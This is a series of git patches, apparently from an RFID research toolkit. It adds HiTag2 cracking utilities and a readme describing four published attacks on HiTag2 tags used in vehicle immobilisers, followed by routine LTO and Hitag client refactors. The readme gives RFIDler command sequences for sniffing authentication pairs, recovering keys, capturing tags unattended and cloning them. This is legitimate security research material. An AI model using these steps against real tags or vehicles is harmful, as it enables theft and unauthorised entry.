contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +/* + * Hitag Crypto support macros + * These macros reverse the bit order in a byte, or *within* each byte of a + * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.) + */ +#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \ + + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \ + + (((X) << 5) &64) + (((X) << 7) &128) ) +#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8)) +#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16)) +#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32)) + + +unsigned long hexreversetoulong(BYTE *hex); +unsigned long long hexreversetoulonglong(BYTE *hex); + diff --git a/tools/hitag2crack/crack4/utilpart.c b/tools/hitag2crack/crack4/utilpart.c new file mode 100644 index 000000000..210853ec1 --- /dev/null +++ b/tools/hitag2crack/crack4/utilpart.c @@ -0,0 +1,183 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + +#include +#include +#include "HardwareProfile.h" +#include "util.h" +#include "rfidler.h" +//#include "comms.h" + +// rtc +rtccTime RTC_time; // time structure +rtccDate RTC_date; // date structure + +// convert byte-reversed 8 digit hex to unsigned long +unsigned long hexreversetoulong(BYTE *hex) +{ + unsigned long ret= 0L; + unsigned int x; + BYTE i; + + if(strlen(hex) != 8) + return 0L; + + for(i= 0 ; i < 4 ; ++i) + { + if(sscanf(hex, "%2X", &x) != 1) + return 0L; + ret += ((unsigned long) x) << i * 8; + hex += 2; + } + return ret; +} + +// convert byte-reversed 12 digit hex to unsigned long +unsigned long long hexreversetoulonglong(BYTE *hex) +{ + unsigned long long ret= 0LL; + BYTE tmp[9]; + + // this may seem an odd way to do it, but weird compiler issues were + // breaking direct conversion! + + tmp[8]= '\0'; + memset(tmp + 4, '0', 4); + memcpy(tmp, hex + 8, 4); + ret= hexreversetoulong(tmp); + ret <<= 32; + memcpy(tmp, hex, 8); + ret += hexreversetoulong(tmp); + return ret; +} + + diff --git a/tools/hitag2crack/readme.md b/tools/hitag2crack/readme.md new file mode 100644 index 000000000..afbc5f4c3 --- /dev/null +++ b/tools/hitag2crack/readme.md @@ -0,0 +1,206 @@ +HiTag2 Cracking Suite +--------------------- + +Author: Kevin Sheldrake + +Introduction +------------ + +These tools are implementations of the four attacks detailed in the papers, +Gone In 360 Seconds - Hijacking With HiTag 2 by Roel Verdult, Flavio Garcia +and Josep Balasch, and Lock It And Still Lose It - on the (In)Security of +Automotive Remote Keyless Entry Systems by Flavio Garcia, David Oswald, +Timo Kasper and Pierre Pavlides. The first three attacks come from the first +paper and the fourth attack comes from the second paper. + +Attack 1 +-------- + +Attack 1 is a nonce replay and length extension attack. This is an attack on +a single HiTag2 RFID tag, given a single encrypted nonce and challenge +response value pair (nR, aR) for the tag's UID. The attack runs entirely on +the RFIDler with it acting like a RWD that replays the same encrypted nonce +and challenge response pair for every interaction; this fixes the key stream +that the tag's PRNG outputs to the same stream for every interaction. + +By brute forcing a subset of the encrypted command space, the RFIDler finds a +single valid encrypted command - invalid commands return a known unencrypted +error response so finding a valid one is simply a case of trying different +values until a response other than the error response is received. + +It then bit flips the valid encrypted command to find the other 15 valid +encrypted commands. By knowing the contents of page 0 - it's the UID that +is presented in clear at the start of each interaction - it tries each +encrypyted response in turn, assuming each to be the encrypted version of +'read page 0 non-inverted' and each response to be the encrypted version of +page 0. + +For each attempted command, it calculates the key stream that would have +correctly generated the encrypted command and response: +command ++ response XOR key stream = encrypted command ++ encrypted response +therefore: +key stream = command ++ response XOR encrypted command ++ encrypted response + +It then tests the potentially recovered key stream by creating an encrypted +command that consumes as much of it as possible, re-initialising with the same +encrypyted nonce and challenge response pair (to set the key stream to the +same stream as that which produced the encrypted command response it is +testing), and then sending this extended encrypted command. If the response +is not the error response, then the key stream is valid and the response is +the encryption of the page 0 contents (the UID). + +When one of the valid encrypted commands satisfies this situation, the +recovered key stream must be the output of the PRNG for the given encrypted +nonce and challenge response pair. + +The RFIDler then uses this key stream to encrypt commands and decrypt the +responses, and therefore requests the contents of all 8 pages. Pages 1 and 2 +contain the encryption key. + +Attack 2 +-------- + +Attack 2 is a time/space trade off to recover the key for situations where the +tag has been configured to prevent reading of pages 1 and 2. This attack uses +a pre-computed table of 2^37 PRNG states and resultant PRNG output, sorted on +the PRNG output. The RFIDler is used to recover 2048 bits of key stream using +a modification of attack 1 and this is used to search the table for matching +PRNG output. When the output is found, it is tested for validity (by testing +previous or following PRNG output) and then the PRNG state is rolled back to +the initialisation state, from which the unecrypted nonce and key can be +recovered. + +Attack 3 +-------- + +Attack 3 is a cryptanalytic attack that focuses on the RWD and a bias in the +PRNG output. By capturing 136 encrypted nonce and challenge response pairs, +candidates for the first 34 bits of the key can be identified, and for each +the remaining 14 bits can be brute forced. + +Attack 4 +-------- + +Attack 4 is a fast correlative attack on the key based on a number of captured +encrypted nonce and challenge response pairs (up to 32, but 16 usually +sufficient). It starts by guessing the first 16 bits of the key and scores +all these guesses against how likely they are to be the correct key, given the +encrypted nonces and the keystream they should produce. Each guess is then +expanded by 1 bit and the process iterates, with only the best guesses taken +forward to the next iteration. + +Usage details +------------- + +Attack 1 requires a valid tag and a valid encrypted nonce and challenge +response pair. The attacker needs to obtain a valid tag and then use this to +obtain a valid encrypted nonce and challenge response pair. This can be +acheived by using the RFIDler 'SNIFF-PWM S' command (having previously cleared +the nonce storage with 'SNIFF-PWM C'), placing the coil on the RWD and +presenting the valid tag. The encrypted nonce and challenge response pairs +can then be read out with the 'SNIFF-PWM L' command. These values can then +be used to attack the tag with 'HITAG2-CRACK '. + +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: SNIFF-PWM S +Capture encrypted nonce and challenge response pair (nR, aR). +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L +RFIDler: HITAG2-CRACK + +Attack 2 requires the same resources as attack 1, plus a pre-computed table. +The table can be generated on a disk with >1.5TB of storage, although it takes +some time (allow a couple of days). +./ht2crack2buildtable +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: SNIFF-PWM S +Capture encrypted nonce and challenge response pair (nR, aR). +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L +RFIDler: UID +RFIDler: HITAG2-KEYSTREAM +Copy/paste the key stream to a file. +./ht2crack2search + +Attack 3 requires only interaction with the RWD and does not require a valid +tag, although it does require a HiTag2 tag that the RWD will initially respond +to; e.g. you could potentially use any HiTag2 tag as long as the RWD starts +the crypto handshake with it. It requires >=136 encrypted nonce and challenge +response pairs for the same tag UID. + +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: SNIFF-PWM S +Capture >=136 encrypted nonce and challenge response pairs (nR, aR). +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L +RFIDler: UID +Copy/paste the encrypted nonce and challenge response pairs into a file. +./ht2crack3 + +Attack 4 requires the same information as attack 3, but only 16-32 encrypted +nonce and challenge response pairs are required. +./ht2crack4 -u -n [-N ] + [-t ] + +Start with -N 16 and -t 500000. If the attack fails to find the key, double +the table size and try again, repeating if it still fails. + +Once the key has been recovered using one of these attacks, the RFIDler can +be configured to operate as a RWD and will capture tags using that key. +RFIDler: SET TAG HITAG2 +RFIDler: HITAG2-READER + +Both the SNIFF-PWM and HITAG2-READER commands can be used as AUTORUN commands +for when the RFIDler is powered from a USB power supply without interaction. + +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM C +RFIDler: AUTORUN SNIFF-PWM S +RFIDler: SAVE +Capture encrypted nonce and challenge response pairs. +RFIDler: SET TAG HITAG2 +RFIDler: SNIFF-PWM L + + +RFIDler: SET TAG HITAG2 +RFIDler: HITAG2-CLEARSTOREDTAGS +RFIDler: AUTORUN HITAG2-READER S +RFIDler: SAVE +Capture tags. +RFIDler: HITAG2-COUNTSTOREDTAGS +RFIDler: HITAG2-LISTSTOREDTAGS [START] [END] + + +Tags can be copied with standard RFIDler commands. + +RFIDler: SET TAG HITAG2 +RFIDler: COPY +RFIDler: VTAG +Replace original tag with a blank tag. +RFIDler: CLONE + +OR: + +RFIDler: SET TAG HITAG2 +RFIDler: SET VTAG HITAG2 +RFIDler: VWRITE 0 +RFIDler: VWRITE 1 +... +RFIDler: VWRITE 7 +RFIDler: VTAG +Place blank tag on coil. +RFIDler: CLONE + +OR: + +RFIDler: SET TAG HITAG2 +RFIDler: SET VTAG HITAG2 +RFIDler: VWRITE 0 +RFIDler: VTAG +Place blank tag on coil. +RFIDler: CLONE + + From eb0e0e938d0ec5e92944adaf4caba8780ea963c0 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 16 Jan 2020 12:28:45 +0100 Subject: [PATCH 334/418] update traces readme --- traces/README.txt | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/traces/README.txt b/traces/README.txt index 0f89925a4..5eada015d 100644 --- a/traces/README.txt +++ b/traces/README.txt @@ -30,3 +30,7 @@ securakey-64169.pm3 Securakey Tag BitLen: 26, Card ID: 64169, FC: 0x35 motorola_0437_00072.pm3: Motorola Grey clamshell card, old. (RAW: A0000000E308C0C1) verichip_1022000000084146.pm3: VeriChip, epoxy encased glasschip (ID: 1022-00000000084146) + +sniff-ht2-BC3B8810-acg-reader.pm3: sniffing of Hitag2 being read by an HID ACG LF Multitag reader +sniff-ht2-BC3B8810-frosch-reader.pm3: sniffing of Hitag2 being read by a Frosch Hitag reader +sniff-ht2-BC3B8810-rfidler-reader.pm3: sniffing of Hitag2 being read by a RFIDler From 69bb285524b77cb1cad40ed400db6dae8a9d926c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 13:44:41 +0100 Subject: [PATCH 335/418] fix: 'hf lto info' - now correctly selects and prints LTO-CM uid. --- client/cmdhf.c | 7 ++++--- client/cmdhficlass.c | 3 ++- client/cmdhflist.c | 8 ++++---- client/cmdhflto.c | 47 ++++++++++++++++++++++++-------------------- include/protocols.h | 1 - 5 files changed, 36 insertions(+), 30 deletions(-) diff --git a/client/cmdhf.c b/client/cmdhf.c index 52ad853fa..d0fbbffb2 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -272,15 +272,16 @@ static command_t CommandTable[] = { {"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"}, {"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"}, {"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / Felica RFIDs... }"}, - {"legic", CmdHFLegic, AlwaysAvailable, "{ LEGIC RFIDs... }"}, + {"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"}, {"iclass", CmdHFiClass, AlwaysAvailable, "{ ICLASS RFIDs... }"}, + {"legic", CmdHFLegic, AlwaysAvailable, "{ LEGIC RFIDs... }"}, + {"lto", CmdHFLTO, AlwaysAvailable, "{ LTO Cartridge Memory RFIDs... }"}, {"mf", CmdHFMF, AlwaysAvailable, "{ MIFARE RFIDs... }"}, {"mfp", CmdHFMFP, AlwaysAvailable, "{ MIFARE Plus RFIDs... }"}, {"mfu", CmdHFMFUltra, AlwaysAvailable, "{ MIFARE Ultralight RFIDs... }"}, {"mfdes", CmdHFMFDes, AlwaysAvailable, "{ MIFARE Desfire RFIDs... }"}, - {"topaz", CmdHFTopaz, AlwaysAvailable, "{ TOPAZ (NFC Type 1) RFIDs... }"}, - {"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"}, {"thinfilm", CmdHFThinfilm, AlwaysAvailable, "{ Thinfilm RFIDs... }"}, + {"topaz", CmdHFTopaz, AlwaysAvailable, "{ TOPAZ (NFC Type 1) RFIDs... }"}, {"list", CmdTraceList, AlwaysAvailable, "List protocol data in trace buffer"}, {"plot", CmdHFPlot, IfPm3Hfplot, "Plot signal"}, {"tune", CmdHFTune, IfPm3Present, "Continuously measure HF antenna tuning"}, diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index ae1109717..616f5e2e2 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -2805,6 +2805,7 @@ int readIclass(bool loop, bool verbose) { FLAG_ICLASS_READER_CONF | FLAG_ICLASS_READER_ONLY_ONCE | FLAG_ICLASS_READER_ONE_TRY; + uint32_t res = PM3_ETIMEOUT; // loop in client not device - else on windows have a communication error while (!kbd_enter_pressed()) { @@ -2876,6 +2877,6 @@ int readIclass(bool loop, bool verbose) { if (!loop) break; } DropField(); - return PM3_SUCCESS; + return res; } diff --git a/client/cmdhflist.c b/client/cmdhflist.c index c9d0f2bb7..2fde8492c 100644 --- a/client/cmdhflist.c +++ b/client/cmdhflist.c @@ -1101,10 +1101,10 @@ void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { snprintf(exp, size, "REQ Standard"); break; case LTO_SELECT: - snprintf(exp, size, "SELECT"); - break; - case LTO_SELECT_1: - snprintf(exp, size, "SELECT_1"); + if (cmd[1] == 0x70) + snprintf(exp, size, "SELECT_UID-2"); + else if (cmd[1] == 0x20) + snprintf(exp, size, "SELECT"); break; case LTO_REQ_ALL: snprintf(exp, size, "REQ All"); diff --git a/client/cmdhflto.c b/client/cmdhflto.c index 8a1e914aa..e60fc4781 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -42,9 +42,17 @@ static void lto_switch_on_field(void) { } // send a raw LTO-CM command, returns the length of the response (0 in case of error) -static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool verbose) { +static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool addcrc, bool verbose) { + + uint64_t arg0 = ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS; + uint32_t arg1 = (len == 1) ? (7 << 16) : 0; + arg1 |= len; + + if (addcrc) { + arg0 |= ISO14A_APPEND_CRC; + } - SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS, len, 0, cmd, len); + SendCommandOLD(CMD_HF_ISO14443A_READER, arg0, arg1, 0, cmd, len); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { @@ -55,7 +63,6 @@ static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16 if (resp.oldarg[0] == *response_len) { *response_len = resp.oldarg[0]; - PrintAndLogEx(INFO, "%s", sprint_hex(resp.data.asBytes, *response_len)); if (*response_len > 0) { memcpy(response, resp.data.asBytes, *response_len); } @@ -66,7 +73,6 @@ static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16 return PM3_SUCCESS; } - // select a LTO-CM tag. Send WUPA and RID. static int lto_select(uint8_t *id_response, uint8_t id_len, bool verbose) { // Todo: implement anticollision @@ -75,26 +81,27 @@ static int lto_select(uint8_t *id_response, uint8_t id_len, bool verbose) { uint16_t resp_len; uint8_t wupa_cmd[] = {LTO_REQ_STANDARD}; uint8_t select_cmd[] = {LTO_SELECT, 0x20}; - uint8_t select_1_cmd[] = {LTO_SELECT_1, 0x70, 0, 0, 0, 0, 0}; + uint8_t select_1_cmd[] = {LTO_SELECT, 0x70, 0, 0, 0, 0, 0}; lto_switch_on_field(); resp_len = 2; - int status = lto_send_cmd_raw(wupa_cmd, sizeof(wupa_cmd), resp, &resp_len, verbose); + int status = lto_send_cmd_raw(wupa_cmd, sizeof(wupa_cmd), resp, &resp_len, false, verbose); if (status == PM3_ETIMEOUT || status == PM3_ESOFT) { lto_switch_off_field(); return PM3_ESOFT; // WUPA failed } resp_len = id_len; - status = lto_send_cmd_raw(select_cmd, sizeof(select_cmd), id_response, &resp_len, verbose); + status = lto_send_cmd_raw(select_cmd, sizeof(select_cmd), id_response, &resp_len, false, verbose); if (status == PM3_ETIMEOUT || status == PM3_ESOFT) { lto_switch_off_field(); return PM3_EWRONGANSVER; // SELECT failed } + memcpy(select_1_cmd + 2, id_response, sizeof(select_1_cmd) - 2); resp_len = 1; - status = lto_send_cmd_raw(select_1_cmd, sizeof(select_1_cmd), resp, &resp_len, verbose); + status = lto_send_cmd_raw(select_1_cmd, sizeof(select_1_cmd), resp, &resp_len, true, verbose); if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { lto_switch_off_field(); return PM3_EWRONGANSVER; // SELECT failed @@ -104,7 +111,6 @@ static int lto_select(uint8_t *id_response, uint8_t id_len, bool verbose) { return PM3_SUCCESS; } - static int CmdHfLTOInfo(const char *Cmd) { uint8_t cmdp = 0; @@ -134,19 +140,18 @@ int infoLTO(bool verbose) { clearCommandBuffer(); uint8_t serial_number[5]; - uint8_t serial_len = 0; - - int ret_val = lto_select(serial_number, serial_len, verbose); - + uint8_t serial_len = sizeof(serial_number); + int ret_val = lto_select(serial_number, serial_len, verbose); lto_switch_off_field(); - /* - - -- "hf 14a raw -a -p -b 7 45" - -- "hf 14a raw -c -p 9320" - -- "hf 14a raw -c -p 9370%s", serial_number - -- "disconnect" - - + + if (ret_val == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nUID: %s", sprint_hex(serial_number, sizeof(serial_number))); + + // todo: add printing of all configuration + } + + /* read block: + SendCommandNG(CMD_HF_THINFILM_READ, NULL, 0); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_HF_THINFILM_READ, &resp, 1500)) { diff --git a/include/protocols.h b/include/protocols.h index 857cb2a4a..47e022c28 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -602,7 +602,6 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define LTO_READBLOCK 0x30 #define LTO_READBLOCK_CONT 0x80 #define LTO_SELECT 0x93 -#define LTO_SELECT_1 0x97 #define LTO_WRITEWORD 0xB0 // write 2 bytes (word) #define LTO_WRITEBLOCK 0xA0 #define LTO_HALT 0x50 From 864256269b9faafd3b76b45504dcbf3087cc6c7d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 14:04:30 +0100 Subject: [PATCH 336/418] textual --- client/cmdhflto.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/client/cmdhflto.c b/client/cmdhflto.c index e60fc4781..10847645b 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -43,11 +43,11 @@ static void lto_switch_on_field(void) { // send a raw LTO-CM command, returns the length of the response (0 in case of error) static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool addcrc, bool verbose) { - + uint64_t arg0 = ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS; uint32_t arg1 = (len == 1) ? (7 << 16) : 0; arg1 |= len; - + if (addcrc) { arg0 |= ISO14A_APPEND_CRC; } @@ -141,17 +141,17 @@ int infoLTO(bool verbose) { uint8_t serial_number[5]; uint8_t serial_len = sizeof(serial_number); - int ret_val = lto_select(serial_number, serial_len, verbose); + int ret_val = lto_select(serial_number, serial_len, verbose); lto_switch_off_field(); - + if (ret_val == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "\nUID: %s", sprint_hex(serial_number, sizeof(serial_number))); - + PrintAndLogEx(SUCCESS, "\nUID: " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number))); + // todo: add printing of all configuration } - + /* read block: - + SendCommandNG(CMD_HF_THINFILM_READ, NULL, 0); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_HF_THINFILM_READ, &resp, 1500)) { From 655345e109ef6016bb3e075e3fca2059ec77a80b Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 14:05:11 +0100 Subject: [PATCH 337/418] Chg 'lf hitag info' - use DEFINES --- client/cmdlfhitag.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/client/cmdlfhitag.c b/client/cmdlfhitag.c index 625b0bef0..c867584fa 100644 --- a/client/cmdlfhitag.c +++ b/client/cmdlfhitag.c @@ -483,7 +483,7 @@ static int CmdLFHitagInfo(const char *Cmd) { // read UID uint32_t uid = 0; if (getHitagUid(&uid) == false) - return 1; + return PM3_ESOFT; PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%08X"), uid); @@ -551,21 +551,22 @@ static int CmdLFHitagReader(const char *Cmd) { } clearCommandBuffer(); - SendCommandOLD(cmd, htf, 0, 0, &htd, sizeof(htd)); + SendCommandMIX(cmd, htf, 0, 0, &htd, sizeof(htd)); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 4000)) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); - return 1; + return PM3_ETIMEOUT; } if (resp.oldarg[0] == false) { PrintAndLogEx(DEBUG, "DEBUG: Error - hitag failed"); - return 1; + return PM3_ESOFT; } uint32_t id = bytes_to_num(resp.data.asBytes, 4); - PrintAndLogEx(SUCCESS, "Valid Hitag2 tag found - UID: " _YELLOW_("%08x"), id); + PrintAndLogEx(SUCCESS, " UID: " _YELLOW_("%08x"), id); + if (htf != RHT2F_UID_ONLY) { PrintAndLogEx(SUCCESS, "Dumping tag memory..."); @@ -583,7 +584,7 @@ static int CmdLFHitagReader(const char *Cmd) { // block3, 1 byte printHitagConfiguration(data[4 * 3]); } - return 0; + return PM3_SUCCESS; } static int CmdLFHitagCheckChallenges(const char *Cmd) { @@ -721,5 +722,5 @@ int CmdLFHitag(const char *Cmd) { } int readHitagUid(void) { - return CmdLFHitagReader("26") == 0; + return (CmdLFHitagReader("26") == PM3_SUCCESS); } From d451631b139d736ed57701432e3367199fea0791 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 17 Jan 2020 14:25:07 +0100 Subject: [PATCH 338/418] use DEFINES --- client/cmdlfhitag.c | 48 ++++++++++++++++++++++----------------------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/client/cmdlfhitag.c b/client/cmdlfhitag.c index c867584fa..3ebbe47a6 100644 --- a/client/cmdlfhitag.c +++ b/client/cmdlfhitag.c @@ -35,7 +35,7 @@ static int usage_hitag_sniff(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf hitag sniff"); - return 0; + return PM3_SUCCESS; } static int usage_hitag_sim(void) { PrintAndLogEx(NORMAL, "Simulate " _YELLOW_("Hitag2 / HitagS")" transponder"); @@ -49,7 +49,7 @@ static int usage_hitag_sim(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf hitag sim 2 b lf-hitag-dump"); - return 0; + return PM3_SUCCESS; } static int usage_hitag_info(void) { PrintAndLogEx(NORMAL, "Usage: lf hitag info [h] p "); @@ -58,7 +58,7 @@ static int usage_hitag_info(void) { PrintAndLogEx(NORMAL, " p password"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf hitag info"); - return 0; + return PM3_SUCCESS; } /* static int usage_hitag_dump(void) { @@ -71,7 +71,7 @@ static int usage_hitag_dump(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf hitag dump f mydump"); PrintAndLogEx(NORMAL, " lf hitag dump p 4D494B52 f mydump"); - return 0; + return PM3_SUCCESS; } */ static int usage_hitag_reader(void) { @@ -90,7 +90,7 @@ static int usage_hitag_reader(void) { PrintAndLogEx(NORMAL, " 23 Read all pages, crypto mode. Key format: ISK high + ISK low. Default: 4F4E4D494B52 (\"ONMIKR\")"); PrintAndLogEx(NORMAL, " 25 Test recorded authentications"); PrintAndLogEx(NORMAL, " 26 Just read UID"); - return 0; + return PM3_SUCCESS; } static int usage_hitag_writer(void) { PrintAndLogEx(NORMAL, "Hitag writer functions"); @@ -106,7 +106,7 @@ static int usage_hitag_writer(void) { PrintAndLogEx(NORMAL, " 24 Write page, crypto mode. Key format: ISK high + ISK low."); PrintAndLogEx(NORMAL, " Default: 4F4E4D494B52 (\"ONMIKR\"). Set key=0 for no auth"); PrintAndLogEx(NORMAL, " 27 Write page, password mode. Default: 4D494B52 (\"MIKR\")"); - return 0; + return PM3_SUCCESS; } static int usage_hitag_checkchallenges(void) { PrintAndLogEx(NORMAL, "Check challenges, load a file with save hitag crypto challenges and test them all."); @@ -119,19 +119,19 @@ static int usage_hitag_checkchallenges(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " lf hitag cc f lf-hitag-challenges"); - return 0; + return PM3_SUCCESS; } static int CmdLFHitagList(const char *Cmd) { (void)Cmd; // Cmd is not used so far 